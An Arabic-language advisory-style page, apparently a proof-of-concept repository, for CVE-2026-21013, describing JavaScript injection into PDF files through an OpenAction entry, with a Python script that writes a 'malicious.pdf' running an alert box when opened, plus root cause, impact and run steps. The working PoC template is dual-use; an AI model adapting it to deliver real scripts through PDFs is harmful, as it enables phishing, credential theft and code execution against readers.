CVE-2026-21013 – حقن جافا سكربت في PDF عبر سكربت مضمّن

كود البرنامج (بايثون لتوليد ملف PDF خبيث)

# generate_pdf_js_inject.py - Creates a PDF with embedded JavaScript
pdf = b"""%PDF-1.7
1 0 obj
<< /Type /Catalog /OpenAction << /S /JavaScript /JS (app.alert('XSS')) >>
>>
endobj
trailer
<< /Root 1 0 R >>
%%EOF
"""
with open("malicious.pdf", "wb") as f:
    f.write(pdf)
print("malicious.pdf created. When opened in a vulnerable PDF reader, it will execute JavaScript.")

CVE-2026-21013 – حقن جافا سكربت في PDF عبر OpenAction

نظرة عامة

مولّد PDF لا يعقّم المحتوى المقدَّم من المستخدم قبل تضمينه في ملف PDF. يمكن للمهاجم حقن إدخال /OpenAction من نوع JavaScript يُنفَّذ عند فتح المستند، مما يؤدي إلى تنفيذ نصوص برمجية عبر المواقع (في عارضات الويب) أو تنفيذ كود محلي (في قارئات سطح المكتب التي تدعم JavaScript بالكامل).

تفاصيل الثغرة

النوع: حقن في PDF / تنفيذ كود من جهة العميل
التأثير: تصيّد، سرقة بيانات الاعتماد، توصيل برمجيات خبيثة.
السبب الجذري: مكتبة PDF تقوم بتضمين السلاسل النصية التي يتحكم بها المهاجم مباشرةً في بنية PDF دون تهريب أو تحقق.

توضيح الاستغلال

شغّل المولّد:

python generate_pdf_js_inject.py

افتح الملف الناتج malicious.pdf في قارئ PDF يدعم JavaScript؛ ستظهر نافذة تنبيه.

CVE-2026-21013-PDF-JavaScript-Injection-via-Embedded-Script

الأكثر شعبية